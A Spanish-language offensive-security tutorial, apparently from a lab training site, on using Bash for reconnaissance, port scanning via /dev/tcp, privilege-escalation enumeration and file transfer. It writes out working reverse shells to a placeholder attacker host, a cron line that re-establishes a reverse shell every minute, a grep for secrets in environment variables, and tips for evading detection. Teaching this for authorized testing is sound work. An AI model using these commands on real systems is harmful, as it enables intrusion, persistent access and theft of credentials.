Aprende › Fundamentos

Bash scripting ofensivo: automatiza reconocimiento, acceso y persistencia

· 12 min de lectura

Aprende a usar Bash como arma ofensiva: one-liners de reconocimiento, ping sweep, port scan con /dev/tcp, parsing con grep/awk/cut/sed, reverse shells, persistencia con cron y scripts de enumeración manual al estilo linpeas.

Cada vez que te conectas a una máquina Linux por SSH, que abres una terminal en Kali o que obtienes una shell tras explotar un servicio, lo primero que tienes delante es Bash. No necesitas instalar nada: Bash ya está ahí, con acceso directo al sistema de archivos, a la red y a cada utilidad del sistema operativo. Eso lo convierte en la navaja suiza del pentester.

Un buen one-liner puede sustituir a una herramienta completa. Un script de veinte líneas puede automatizar una enumeración que a mano llevaría media hora. Y cuando la máquina objetivo no tiene Python, ni curl, ni nada más allá de los coreutils de GNU, Bash sigue funcionando. Por eso todo profesional de ciberseguridad necesita dominarlo.

En esta lección vas a aprender las técnicas esenciales de Bash ofensivo: cómo encadenar comandos con pipes para extraer información, cómo hacer un ping sweep y un port scan sin herramientas externas, cómo construir reverse shells, cómo usar cron para persistencia y cómo escribir scripts de enumeración que recojan todo lo que necesitas de un sistema comprometido.

Ejecuta estos comandos solo en máquinas propias o en entornos autorizados, como los laboratorios de whoami-labs. Usar técnicas ofensivas en sistemas ajenos sin permiso es ilegal.

Qué es Bash scripting ofensivo#

Bash (Bourne Again Shell) es el intérprete de comandos por defecto en la mayoría de distribuciones Linux y en macOS. Bash scripting ofensivo es el uso de ese intérprete y de las utilidades estándar del sistema para realizar tareas de reconocimiento, explotación, movimiento lateral y persistencia durante una prueba de penetración.

La idea central es sencilla: en lugar de depender de herramientas que pueden no estar instaladas en el objetivo, usas lo que el sistema ya tiene. Comandos como cat, grep, awk, cut, sed, find, ping y las funcionalidades internas de Bash como /dev/tcp están disponibles en prácticamente cualquier Linux. Combinados con pipes y redirecciones, cubren una cantidad sorprendente de escenarios ofensivos.

Pipeline de Bash: los datos fluyen de un comando al siguiente a través de pipes, transformándose en cada etapa
Pipeline de Bash: los datos fluyen de un comando al siguiente a través de pipes, transformándose en cada etapa

A diferencia de un lenguaje como Python, Bash no está pensado para escribir aplicaciones complejas. Su fuerza está en la composición: tomas comandos pequeños que hacen una cosa bien y los conectas. cat /etc/passwd | grep /bin/bash | cut -d: -f1 te da la lista de usuarios con shell interactiva en una sola línea. Esa filosofía Unix de «hacer una cosa y hacerla bien» es exactamente lo que necesitas en un entorno ofensivo donde cada segundo cuenta.

Por qué Bash sigue siendo esencial#

Podrías pensar que con herramientas como Nmap, Metasploit o BloodHound ya no hace falta escribir scripts en Bash. Pero hay varias razones por las que sigue siendo indispensable:

  • Disponibilidad universal. Bash está en cada Linux. No necesitas instalar nada, no necesitas internet, no necesitas permisos especiales para ejecutar un script.
  • Post-explotación con shell limitada. Muchas shells iniciales no te dan un entorno cómodo. A veces solo tienes una conexión raw sin historial ni autocompletado. Bash funciona igual.
  • Evasión. Ejecutar un binario descargado puede disparar alertas en un EDR. Un one-liner que usa solo utilidades del sistema pasa desapercibido porque esos binarios son legítimos.
  • Velocidad para tareas simples. Para un ping sweep rápido o para extraer usuarios de /etc/passwd, un one-liner tarda menos que abrir una herramienta dedicada.
  • Automatización de flujos. Encadenar la salida de una herramienta con la entrada de otra (por ejemplo, pasar la lista de puertos abiertos de un escaneo a un fuzzer) es natural en Bash.

Componentes principales del toolkit#

ComponentePara qué sirveEjemplo rápido
PipesEncadenar la salida de un comando como entrada del siguientegrep "root" /etc/passwd
RedirecciónEnviar salida a archivos o leer desde ellosnmap -oN resultado.txt IP
VariablesAlmacenar datos para reutilizarlosip="10.10.10.5"
Loops (for, while)Repetir una acción sobre una lista de objetivosfor i in $(seq 1 254); do ... done
/dev/tcpAbrir conexiones TCP sin herramientas externasecho > /dev/tcp/IP/PUERTO
Subshells y sustituciónCapturar la salida de un comando dentro de otroports=$(cat puertos.txt)
cronProgramar ejecución periódica para persistenciacrontab -e
FuncionesOrganizar lógica reutilizable en scriptsfunction escanear() { ... }

Cuándo se usa#

Bash no reemplaza a herramientas especializadas, pero llena los huecos que ellas dejan:

EscenarioHerramienta principalRol de Bash
Escaneo de puertos completoNmapEscaneo rápido con /dev/tcp cuando Nmap no está disponible
Descubrimiento de hostsNmap -sn, netdiscoverPing sweep rápido en una subred
Fuzzing de directorios webGobuster, ffufBucle con curl cuando no hay herramientas instaladas
Enumeración de privilegioslinpeas, LinEnumScript manual que revisa lo mismo sin descargar nada
Transferencia de archivosscp, wgetRedirección con /dev/tcp o base64 encode-decode
PersistenciaFrameworks C2Cron job con reverse shell de una línea

Cómo se aplica: técnicas esenciales#

Parsing de salida con grep, awk, cut y sed#

La habilidad más importante del scripting ofensivo es extraer exactamente lo que necesitas de la salida de un comando. Estas cuatro herramientas cubren casi todo:

# grep: filtrar líneas que contienen un patrón
cat /etc/passwd | grep "/bin/bash"

# cut: extraer campos por delimitador
cat /etc/passwd | grep "/bin/bash" | cut -d: -f1
# Resultado: root, admin, usuario...

# awk: procesamiento más complejo por columnas
ss -tulpn | awk '/LISTEN/ {print $5}'
# Muestra las direcciones y puertos en escucha

# sed: reemplazar o eliminar texto
echo "Puerto: 8080/tcp" | sed 's|/tcp||'
# Resultado: Puerto: 8080

Combinaciones encadenadas#

# Extraer IPs únicas de un log de acceso de Apache
cat access.log | awk '{print $1}' | sort -u

# Contar intentos de login fallidos por IP
grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn

# Listar binarios SUID en el sistema
find / -perm -4000 -type f 2>/dev/null | xargs ls -la

Uso práctico paso a paso#

Paso 1: ping sweep para descubrir hosts#

Sin Nmap, puedes descubrir qué máquinas están vivas en una subred con un bucle simple:

# Ping sweep de la subred 10.10.10.0/24
for i in $(seq 1 254); do
  (ping -c 1 -W 1 10.10.10.$i &>/dev/null && echo "10.10.10.$i está vivo") &
done
wait

El & al final de cada iteración lanza los pings en paralelo, y wait espera a que todos terminen. El -W 1 establece un timeout de un segundo para no esperar demasiado por hosts caídos.

Paso 2: port scan con /dev/tcp#

Bash tiene una funcionalidad interna que permite abrir sockets TCP sin ninguna herramienta externa. El pseudoarchivo /dev/tcp/host/puerto intenta una conexión y devuelve éxito o error:

# Escanear los puertos más comunes de un host
host="IP_DEL_LAB"
for port in 21 22 25 53 80 110 139 443 445 3306 3389 8080; do
  (echo >/dev/tcp/$host/$port 2>/dev/null && echo "Puerto $port abierto") &
done
wait

Para un rango completo:

# Escanear puertos del 1 al 1024
host="IP_DEL_LAB"
for port in $(seq 1 1024); do
  (echo >/dev/tcp/$host/$port 2>/dev/null && echo "$port") &
done 2>/dev/null | sort -n
wait

Este escaneo es más lento que Nmap y no detecta versiones, pero funciona en máquinas donde no tienes ninguna herramienta instalada. Es especialmente útil tras obtener acceso inicial a un host de la red interna para descubrir servicios en otros segmentos.

Paso 3: reverse shell en Bash#

Una de las técnicas más usadas en pentesting es obtener una shell interactiva en la máquina objetivo. Bash puede hacerlo sin binarios adicionales:

# En tu máquina atacante, escucha en el puerto 4444
nc -lvnp 4444
# En la máquina objetivo (reverse shell)
bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1

Esta línea abre una conexión TCP hacia tu máquina, redirige la entrada estándar (0), la salida estándar (1) y la salida de error (2, vía >&) a través de esa conexión. El resultado es una shell interactiva completa.

Si necesitas alternativas porque la máquina bloquea esa sintaxis:

# Variante con exec
exec 5<>/dev/tcp/IP_ATACANTE/4444; cat <&5 | while read line; do $line 2>&5 >&5; done

# Variante con mkfifo (named pipe)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc IP_ATACANTE 4444 > /tmp/f

Paso 4: enumeración manual del sistema#

Cuando no puedes descargar linpeas o LinEnum, un script Bash recoge la misma información:

#!/bin/bash
echo "=== USUARIO ACTUAL ==="
id
whoami
hostname

echo "=== KERNEL Y DISTRIBUCIÓN ==="
uname -a
cat /etc/os-release 2>/dev/null

echo "=== USUARIOS CON SHELL ==="
grep -E "/bin/(bash|sh|zsh)" /etc/passwd

echo "=== BINARIOS SUID ==="
find / -perm -4000 -type f 2>/dev/null

echo "=== BINARIOS CON CAPABILITIES ==="
getcap -r / 2>/dev/null

echo "=== SUDO SIN CONTRASEÑA ==="
sudo -l 2>/dev/null

echo "=== CRON JOBS ==="
cat /etc/crontab 2>/dev/null
ls -la /etc/cron.* 2>/dev/null

echo "=== ARCHIVOS ESCRIBIBLES EN /etc ==="
find /etc -writable -type f 2>/dev/null

echo "=== PROCESOS COMO ROOT ==="
ps aux | grep -E "^root" | grep -v "\[" | head -20

echo "=== PUERTOS INTERNOS ==="
ss -tulpn 2>/dev/null || netstat -tulpn 2>/dev/null

echo "=== VARIABLES DE ENTORNO INTERESANTES ==="
env | grep -iE "(pass|key|token|secret|api|db)" 2>/dev/null

Cada sección busca un vector de escalada diferente: binarios SUID que podrían estar en GTFOBins, capabilities mal asignadas, reglas de sudo permisivas, tareas cron manipulables o servicios internos que solo escuchan en localhost.

Paso 5: persistencia con cron#

Si necesitas mantener acceso a una máquina comprometida durante un ejercicio de red team, cron es el mecanismo más simple:

# Añadir una reverse shell que se ejecuta cada minuto
(crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1") | crontab -

Este comando preserva las entradas existentes del crontab y añade una nueva línea. Cada minuto, la máquina intentará conectarse de vuelta a tu listener. Si la conexión se pierde, se restablece automáticamente.

Para revisar si hay tareas cron sospechosas en un sistema que estás defendiendo:

# Revisar crontabs de todos los usuarios
for user in $(cut -d: -f1 /etc/passwd); do
  echo "=== Crontab de $user ==="
  crontab -l -u $user 2>/dev/null
done

# Buscar scripts referenciados en cron
grep -r "bash\|sh\|python\|perl" /etc/cron* /var/spool/cron 2>/dev/null

Paso 6: transferencia de archivos sin herramientas#

A veces necesitas mover un archivo al objetivo pero no tienes wget, curl ni scp. Bash ofrece alternativas:

# Método 1: servidor HTTP con Python en tu máquina atacante
python3 -m http.server 8000
# En el objetivo, descargar con /dev/tcp
exec 3<>/dev/tcp/IP_ATACANTE/8000
echo -e "GET /linpeas.sh HTTP/1.1\r\nHost: IP_ATACANTE\r\n\r\n" >&3
cat <&3 > linpeas.sh

# Método 2: base64 (para archivos pequeños)
# En atacante: codificar
base64 -w0 archivo.sh

# En objetivo: pegar y decodificar
echo "Y29udGVuaWRvX2RlbF9hcmNoaXZv..." | base64 -d > archivo.sh
chmod +x archivo.sh

Qué consigues con esto#

CapacidadQué lograsSin herramientas externas
Descubrimiento de redMapear hosts vivos y puertos abiertos en una subredSí, con ping y /dev/tcp
Enumeración localIdentificar vectores de escalada de privilegiosSí, con find, cat, grep
Acceso remotoObtener shell interactiva en el objetivoSí, reverse shell nativa
PersistenciaMantener acceso aunque se reinicie la máquinaSí, con cron
ExfiltraciónExtraer datos del sistema comprometidoSí, con /dev/tcp o base64
Movimiento lateralPivotar a otros hosts de la red internaSí, combinando técnicas
EvasiónOperar sin descargar binarios sospechososSí, todo es nativo

Buenas prácticas y seguridad operativa#

Fases del Bash ofensivo: reconocimiento, acceso, persistencia y enumeración, con los comandos clave de cada fase
Fases del Bash ofensivo: reconocimiento, acceso, persistencia y enumeración, con los comandos clave de cada fase

Aunque estas técnicas son potentes, es importante usarlas de forma responsable y eficaz:

  • Registra todo lo que ejecutas. En un pentest profesional necesitas documentar cada comando. Usa script -a sesion.log para grabar la sesión completa, o redirige la salida a archivos con | tee resultado.txt.
  • No dejes rastro innecesario. Si creas archivos temporales, elimínalos al terminar. Si modificas un crontab, restáuralo al estado original al finalizar el ejercicio.
  • Valida antes de ejecutar. Un error en un bucle for con rm o con redirección puede causar daño real. Prueba con echo primero para ver qué haría el comando sin ejecutarlo realmente.
  • Usa rutas absolutas en scripts. Un script que llama a python puede ejecutar un binario diferente según el PATH. Usa /usr/bin/python3 para evitar ambigüedades y posibles hijacks.
  • Controla la concurrencia. Lanzar demasiados procesos en paralelo puede saturar el sistema o la red. Limita los hilos con xargs -P o agrupa las iteraciones.
  • Mejora la shell obtenida. Una reverse shell cruda no tiene historial, ni autocompletado, ni manejo de señales. Estabilízala:
# En la shell obtenida
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Luego: Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Errores comunes#

  • Olvidar 2>/dev/null en comandos de búsqueda. Sin esa redirección, los errores de «permiso denegado» inundan la pantalla y ocultan los resultados útiles.
  • No poner comillas en variables. echo $variable puede comportarse mal si el contenido tiene espacios. Usa "$variable" siempre.
  • Usar cat archivo | grep patrón en lugar de grep patrón archivo. Funciona, pero el pipe es innecesario y en archivos grandes es más lento. Úsalo solo cuando la entrada viene de otro comando.
  • No manejar errores en scripts. Añade set -e al inicio para que el script se detenga ante el primer error, o comprueba el código de retorno ($?) de los comandos críticos.
  • Escribir scripts sin la línea shebang. Sin #!/bin/bash al inicio, el script puede ejecutarse con un intérprete diferente y comportarse de forma inesperada.
  • Confiar en que /dev/tcp existe en todas las shells. Es una funcionalidad de Bash, no de sh ni de dash. Si el sistema usa /bin/sh como shell por defecto y es un enlace a dash, /dev/tcp no funcionará.

Preguntas frecuentes#

¿Puedo usar estas técnicas en Windows?#

No directamente. Bash es un shell de Unix y Linux. En Windows el equivalente sería PowerShell, que tiene sus propios mecanismos para sockets, pipes y persistencia. Sin embargo, si el objetivo tiene instalado WSL (Windows Subsystem for Linux), Bash está disponible dentro de ese entorno.

¿Cuál es la diferencia entre Bash y sh?#

sh es el shell POSIX estándar, más limitado. Bash es un superconjunto de sh que añade arrays, aritmética avanzada, sustitución de procesos y /dev/tcp. Algunos sistemas apuntan /bin/sh a dash en lugar de Bash, lo que puede hacer que ciertos scripts fallen. Verifica con ls -la /bin/sh.

¿Por qué usar Bash si puedo subir linpeas?#

Porque descargar y ejecutar un script externo puede disparar alertas en sistemas monitorizados. Un one-liner que usa solo utilidades del sistema es mucho más discreto. Además, en ciertos entornos la máquina no tiene conectividad a internet para descargar nada.

¿Es mejor un for loop o xargs para paralelizar?#

Depende del caso. for ... & es más legible para bucles simples. xargs -P N controla mejor el número de procesos simultáneos y es más eficiente para listas grandes. En un ping sweep rápido, for con & es suficiente. Para procesar miles de líneas, xargs es la mejor opción.

¿Cómo hago un script ejecutable?#

Añade la línea shebang al inicio (#!/bin/bash), dale permisos de ejecución con chmod +x script.sh y ejecútalo con ./script.sh. Si no puedes cambiar permisos, ejecútalo con bash script.sh directamente.

¿Cómo evito que un reverse shell sea detectado?#

En un ejercicio autorizado, puedes cifrar la comunicación con openssl en lugar de usar texto plano, o usar un puerto común como 443 para que el tráfico se mezcle con el HTTPS legítimo. Sin embargo, un equipo de defensa experimentado con un EDR moderno puede detectar la ejecución de la redirección de Bash independientemente del puerto.

Resumen#

  • Bash está disponible en prácticamente cualquier Linux y permite reconocimiento, acceso, persistencia y enumeración sin instalar nada.
  • Los pipes y redirecciones son la base del scripting ofensivo: encadenar grep, awk, cut y sed extrae exactamente la información que necesitas.
  • El pseudoarchivo /dev/tcp permite escanear puertos y crear reverse shells sin herramientas externas.
  • Un script de enumeración manual puede sustituir a linpeas cuando no puedes descargar archivos al objetivo.
  • La persistencia con cron es simple y efectiva: una línea en el crontab mantiene el acceso activo tras un reinicio.
  • Siempre documenta tus acciones, controla la concurrencia y restaura los cambios al finalizar el ejercicio.

Fuentes y lecturas recomendadas#

Practícalo en estos laboratorios

Ver todos los laboratorios de esta categoría